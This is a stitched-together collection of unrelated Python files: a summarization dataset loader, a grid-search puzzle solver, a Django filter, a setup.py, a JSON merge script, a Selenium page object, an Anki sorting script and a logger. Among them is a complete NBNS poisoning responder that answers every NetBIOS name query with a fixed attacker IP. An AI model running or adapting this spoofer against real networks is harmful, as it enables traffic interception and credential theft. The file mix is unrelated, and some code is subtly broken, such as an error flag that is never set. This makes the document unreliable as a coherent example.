            if self.description == 'base':
                self.prompt = ' what is the summary of article " {} "?'
            elif self.description == 'tep':
                self.prompt = 'Dataset description: Gigaword is a large-scale dataset for natural language processing tasks, such as language modeling and machine translation. It contains over 5 billion words of text, drawn from a variety of sources, including news articles, books, and websites.The annotation process for Gigaword involves collecting text from a variety of sources and ensuring that it is accurately' \
                              ' transcribed and formatted. The text is then divided into smaller units, such as sentences or paragraphs, and annotated with additional information, such as part-of-speech tags or named entity tags. ' \
                              'Input format: Text' \
                              'Output format: Text' \
                              'Output description: summary of input text' \
                              'prompt: what is the summary of article " {} "? '

            elif self.description == 'wiki-tep':
                self.prompt = 'Given a document, selecting a subset of the words or sentences which best represents a summary of the document.' \
                              'Dataset description: Gigaword is a large-scale dataset for natural language processing tasks, such as language modeling and machine translation. It contains over 5 billion words of text, drawn from a variety of sources, including news articles, books, and websites.The annotation process for Gigaword involves collecting text from a variety of sources and ensuring that it is accurately' \
                              ' transcribed and formatted. The text is then divided into smaller units, such as sentences or paragraphs, and annotated with additional information, such as part-of-speech tags or named entity tags. ' \
                              'Input format: Text' \
                              'Output format: Text' \
                              'Output description: summary of input text' \
                              'prompt: what is the summary of article " {} "? '

            elif self.description == 'annotation':
                self.prompt = \
                    'Dataset description: Gigaword is a large-scale dataset for natural language processing tasks, such as language modeling and machine translation. It contains over 5 billion words of text, drawn from a variety of sources, including news articles, books, and websites.The annotation process for Gigaword involves collecting text from a variety of sources and ensuring that it is accurately' \
                    ' transcribed and formatted. The text is then divided into smaller units, such as sentences or paragraphs, and annotated with additional information, such as part-of-speech tags or named entity tags. ' \
                    'Input format: Text' \
                    'Output format: Text' \
                    'Output description: summary of input text' \
                    'prompt: what is the summary of article " {} "? '

            elif self.description == 'wiki':
                self.prompt = \
                    'Given a document, selecting a subset of the words or sentences which best represents a summary of the document.' \
                    'prompt: what is the summary of article " {} "? '

            elif description == 'onehot':
                self.prompt = '1000000 {}'

        elif type(bpe).__name__ == 'BertBPE':

            self.prompt = "{} 请用一个句子简单总结上文："

    def __getitem__(self, index):
        source, target = self.dataset[index]
        target_str = target.lower()

        source = self.pre_caption(source, max_words=self.max_src_length)
        target = self.pre_caption(target, max_words=self.max_tgt_length)
        source = source.replace('<unk>', 'unk')
        target = target.replace('<unk>', 'unk')

        src_item = self.encode_text(
            self.prompt.format(source),
            length=self.max_src_length
        )
        tgt_item = self.encode_text('{}'.format(target))
        noise_tgt_item = self.add_noise_to_tgt(tgt_item.clone(), self.noise_ratio)

        src_item = torch.cat([self.bos_item, src_item, self.eos_item])
        target_item = torch.cat([tgt_item, self.eos_item])
        prev_output_item = torch.cat([self.bos_item, noise_tgt_item])

        example = {
            "source": src_item,
            "target": target_item,
            "prev_output_tokens": prev_output_item,
            "target_str": target_str
        }
        return example

    def add_noise_to_tgt(self, target, p):
        noise_indices = torch.FloatTensor(target.size(0)).uniform_() < p
        target[noise_indices] = torch.randint(
            4, len(self.src_dict) - self.code_dict_size - self.num_bins, size=(noise_indices.sum(),)
        )
        return target

    def collater(self, samples, pad_to_length=None):
        """Merge a list of samples to form a mini-batch.
        Args:
            samples (List[dict]): samples to collate
        Returns:
            dict: a mini-batch containing the data of the task
        """
        return collate(samples, pad_idx=self.pad, eos_idx=self.eos)


# https://www.acmicpc.net/problem/1987
# 알파벳

import sys
input = sys.stdin.readline

def bfs(r, c):
    queue = set()
    queue.add((r, c, arr[r][c]))
    max_val = 0
    while queue:
        s = queue.pop()
        max_val = max(max_val, len(s[2]))
        for d in [[0, 1], [1, 0], [0, -1], [-1, 0]]:
            nr = s[0] + d[0]
            nc = s[1] + d[1]
            if 0 <= nr < R and 0 <= nc < C and arr[nr][nc] not in s[2]:
                queue.add((nr, nc, s[2] + arr[nr][nc]))
    print(max_val)

R, C = map(int, input().split())
arr = [input() for _ in range(R)]
bfs(0, 0)


"""Providers filters file."""

from django.db import models
import django_filters

from tersun.common.filters import SearchComboboxBaseFilter
from tersun.providers import models as provider_models

class ProviderFilter(SearchComboboxBaseFilter):
    """Provider filter class."""

    class Meta:
        """Meta class for the providers filter."""

        model = provider_models.Provider
        fields = "__all__"
        filter_overrides = {
             models.FileField: {
                 'filter_class': django_filters.CharFilter,
                 'extra': lambda f: {
                     'lookup_expr': 'icontains',
                 },
             },
        }


from setuptools import setup
# To use a consistent encoding
from codecs import open
from os import path

with open('README.rst') as f:
    long_desc = f.read()

setup(name='glucid',
      version='0.5.0',
      description='Configure the Lucid 8824 AD/DA Audio Interface via \
             a Serial Connection',
      url='http://github.com/danmechanic/glucid',
      author='Daniel R Mechanic',
      author_email='dan.mechanic@gmail.com',
      license='GPL V3',
      zip_safe=False,
#      scripts=['bin/glucid','bin/xglucid'],
      entry_points={  # Optional
          'console_scripts': [
              'glucid=glucid.glucid_cli:main',
              'xglucid=glucid.xglucid:main'
          ],
      },
      long_description=long_desc,
      keywords='lucid 8824 audio converter',
      packages=['glucid'],
#      py_modules=['glucid.glucid'],
      python_requires=">=3",
      package_dir={ 'glucid8824' : 'glucid',
                    'xglucid' : 'glucid',
                    'Glucid8824_UI' : 'glucid',
                    'Glucid8824' : 'glucid',
                    'xglucidUIWidgets' : 'glucid',
      },
      long_description_content_type='text/x-rst',
      classifiers=[
          'Development Status :: 3 - Alpha',
          'Programming Language :: Python :: 3',
          'Programming Language :: Python :: 3.2',
          'Programming Language :: Python :: 3.3',
          'Programming Language :: Python :: 3.4',
          'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
          'Topic :: Multimedia :: Sound/Audio :: Conversion',
          'Topic :: Multimedia :: Sound/Audio :: Capture/Recording',
      ],
      project_urls={
          'Author': 'http://www.danmechanic.com/',
          'Source': 'https://github.com/danmechanic/glucid/',
      },
      install_requires=[
          'PyQt5>=5.9',
	  'PySerial',
      ]
      )


import argparse as _argparse
import os as _os
import sys as _sys

from colorama import Fore as _Fore
from colorama import init as _colorama_init
from contexttimer import Timer as _Timer

from src import merge as _merge
from src import parse as _parse

if __name__ == '__main__':
    """
        Example: python merge.py --in pss_api_ios_v0.989.9402_anonymized.json pss_api_steam_v0.991.4_anonymized.json --out examples
    """

    # enable Windows support of colors
    _colorama_init()

    ERR_INPUT_NOT_FOUND = 1

    parser = _argparse.ArgumentParser()
    parser.add_argument('--in', dest='in_', type=str, nargs='+', required=True, help='Path(s) to the flows file(s) to be merged')
    parser.add_argument('--overrides', type=str, required=False, help='Path to the overrides file')
    parser.add_argument('--outfile', type=str, required=True, help='Target file path for the merged flows file')
    parser.add_argument('--uncompressed', action='store_true', help='Preserve whitespace in the output file')
    args = parser.parse_args()

    error = False
    for file_path in args.in_:
        if not _os.path.isfile(file_path):
            print(f'{_Fore.RED}ERROR: Specified flows JSON file does not exist: {file_path}{_Fore.RESET}')
    if error:
        _sys.exit(ERR_INPUT_NOT_FOUND)

    with _Timer() as t:
        print(f'{_Fore.YELLOW} >>>{_Fore.RESET} Input files:')
        for in_ in args.in_:
            print(f'{_Fore.YELLOW} >>> -{_Fore.RESET} {in_}')
        print(f'{_Fore.YELLOW} >>>{_Fore.RESET} Output file: {args.outfile}')
        print(f'{_Fore.YELLOW} >>>{_Fore.RESET} Compressed storage: {"No" if args.uncompressed else "Yes"}')
        print(f'{_Fore.BLUE} >>>{_Fore.RESET} Merging parsed flows...')

        result = _merge.read_structure_json(args.in_[0])
        for merge_with in args.in_[1:]:
            result = _merge.merge_api_structures(
                result,
                _merge.read_structure_json(merge_with)
            )
        if args.overrides:
            overrides = _merge.read_structure_json(args.overrides)
            result = _merge.apply_overrides(result, overrides)
        _parse.store_structure_json(
            args.outfile,
            result,
            (not args.uncompressed)
        )

        print(f'{_Fore.BLUE} >>>{_Fore.RESET} Done in {t.elapsed}s')
        _sys.exit(0)


'''
商品详情页面
'''
from common.base import Base

good_url ='http://ecshop.itsoso.cn/goods.php?id=304'

class Buy_Good(Base):
    '''页面点击立即购买'''
    # 商品名字
    good_name_loc=('class name','goods_style_name')
    # 商品牌子
    good_brand_loc=('css selector','a[href="brand.php?id=20"]')
    # 购买数量框
    number_loc=('id','number')
    # 立即购买框
    libuy_loc=('css selector','img[src="themes/default/images/buybtn1.png"]')
    # 收藏按钮
    collect_loc=('css selector','img[src="themes/default/images/bnt_colles.gif"]')
    # 分享按钮
    share_loc =('css selector','img[src="themes/default/images/bnt_recommend.gif"]')
    # 价格
    price_loc=('id','ECS_RANKPRICE_6')

    # 前台商品货号
    front_good_no_loc=('css selector','li.clearfix:nth-child(1)>dd:nth-child(1)')

    # 点击商品牌子
    def click_brand(self):
        self.click(self.good_brand_loc)

    # 购买数量输入
    def send_number(self,num):

        self.double_click(self.number_loc)
        self.send_keys(self.number_loc,num)
        self.click(self.price_loc)
    # 点击立即购买
    def click_libuy(self):
        self.click(self.libuy_loc)

    # 点击收藏按钮
    def click_collect(self):
        self.click(self.collect_loc)

    # 点击分享按钮
    def click_share(self):
        self.click(self.share_loc)

    # 获取商品名称
    def get_good_name(self,locator):
        element =self.find_element(locator)
        text = element.text
        return text

    # 前台商品详情页面获取商品货号
    def get_front_good_no(self):
        element=self.find_element(self.front_good_no_loc)
        content =element.text.split('：')
        text =content[1]   # ECS000304
        # print(content)  商品货号：ECS000304
        return text

if __name__ == '__main__':
    from common.base import open_browser
    from time import sleep
    driver = open_browser('chrome')
    libuy = Buy_Good(driver)  # 实例化Buy_Good
    libuy.open_url(good_url)
    good_name_loc = ('class name', 'goods_style_name')
    print(libuy.get_good_name(good_name_loc))

    # 前台商品货号
    front_good_no_loc = ('css selector', 'li.clearfix:nth-child(1)>dd:nth-child(1)')
    num =libuy.get_front_good_no()
    print(num)
    # sleep(2)
    # libuy.send_number(3)
    # sleep(3)
    #
    #
    # libuy.click_libuy()


#!python
#/usr/bin/env python
# -*- coding:utf-8 -*-
__doc__ = """

    NBNS Answer ,
                    by Her0in

"""

import socket, struct,binascii

class NBNS_Answer:
    def __init__(self, addr):

        self.IPADDR  = addr
        self.nas = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        self.init_socket()
        self.populate()
    def populate(self):

        self.AnswerData = (
        b"TID"              # Transaction ID
        b"\x85\x00"         # Flags Query
        b"\x00\x00"         # Question
        b"\x00\x01"         # Answer RRS
        b"\x00\x00"         # Authority RRS
        b"\x00\x00"         # Additional RRS
        b"\x20"             # length of Name:32
        b"NAME"             # Name
        b"\x00"             # NameNull
        b"\x00\x21"         # Query Type:NB
        b"\x00\x01"         # Class
        b"\x00\x00\x00\xa5" # TTL
        b"\x00\x06"         #
        b"\x00\x00"         # Null
        b"IPADDR")          # IP Address

    def init_socket(self):
        self.HOST = "0.0.0.0"
        self.PORT = 137
        self.nas.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.nas.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255)

    def decode_name(self, nbname):
        """Return the NetBIOS first-level decoded nbname."""
        if len(nbname) != 32:
            return nbname
        l = []
        for i in range(0, 32, 2):
            l.append(chr((((nbname[i]) - 0x41) << 4) |
                         (((nbname[i+1]) - 0x41) & 0xf)))
        return ''.join(l).split('\x00', 1)[0]

    def Answser(self):
        self.nas.bind((self.HOST, self.PORT))
        print("Listening...")
        while 1:
            data, addr = self.nas.recvfrom(1024)
            tid  = data[0:2]
            name = data[13:45]
            data = self.AnswerData.replace(b'TID', tid)
            data = data.replace(b'NAME', name)
            data = data.replace(b'IPADDR', socket.inet_aton(self.IPADDR))
            print("Poisoned answer(%s) sent to %s for name %s " % (self.IPADDR, addr[0], self.decode_name(name)))
            self.nas.sendto(data, addr)
        self.nas.close()

if __name__ == "__main__":
    nbns = NBNS_Answer("192.168.6.118")
    nbns.Answser()


import anki
from aqt import mw
import re

col = anki.collection.Collection('C:/Users/clept/AppData/Roaming/Anki2/Iván/collection.anki2')

deck_name = 'Seguridad social test'

search_query = '"deck:' + deck_name + '"'

cards = col.find_cards(search_query)

for card_id in cards:

    # Get the card
    card = col.get_card(card_id)

    # Get the note associated with the card
    note = card.note()

    # bb = 'd (artículo 76.0)'
    text = note['Back']

    try:

        #  matches 54.2, 2.b.0, índice
        match = re.search(r'\">[a-záéíóú ]*(\d+\.\d+|índice|\d+\.[a-z]\.\d+|\d+)', text)

        text_sort = match.group(1)

        if text_sort == 'índice':
            text_sort = '9999'

        text_sort = re.sub('(\d+)(\.[a-z])(\.\d+)', '\\1\\3', text_sort)

        if '.' not in text_sort:

            text_sort += '.99'

        if text_sort[-2] == '.':

            text_sort = text_sort[:-1] + '0' + text_sort[-1:]

        note['Sort'] = text_sort

    except:

        note['Sort'] = '9998.99'

    note.flush()

# Synchronize the collection to save changes to the Anki database
col.autosave()


import logging

class Singleton(type):
    _instances = {}
    def __call__(cls, *args, **kwargs):
        if cls not in cls._instances:
            cls._instances[cls] = super(Singleton, cls).__call__(*args, **kwargs)
        return cls._instances[cls]

class Logger(object):
    __metaclass__ = Singleton

    def __init__(self):
        self._logger = logging.getLogger('[WikiTopK]')
        self._logger.setLevel(logging.INFO)
        formatter1 = logging.Formatter('%(name)s - %(message)s')
        fh = logging.FileHandler('log/debug.log',mode='w')
        fh.setLevel(logging.ERROR)
        fh.setFormatter(formatter1)
        ch = logging.StreamHandler()
        ch.setLevel(logging.DEBUG)
        ch.setFormatter(formatter1)

        self._logger.addHandler(fh)
        self._logger.addHandler(ch)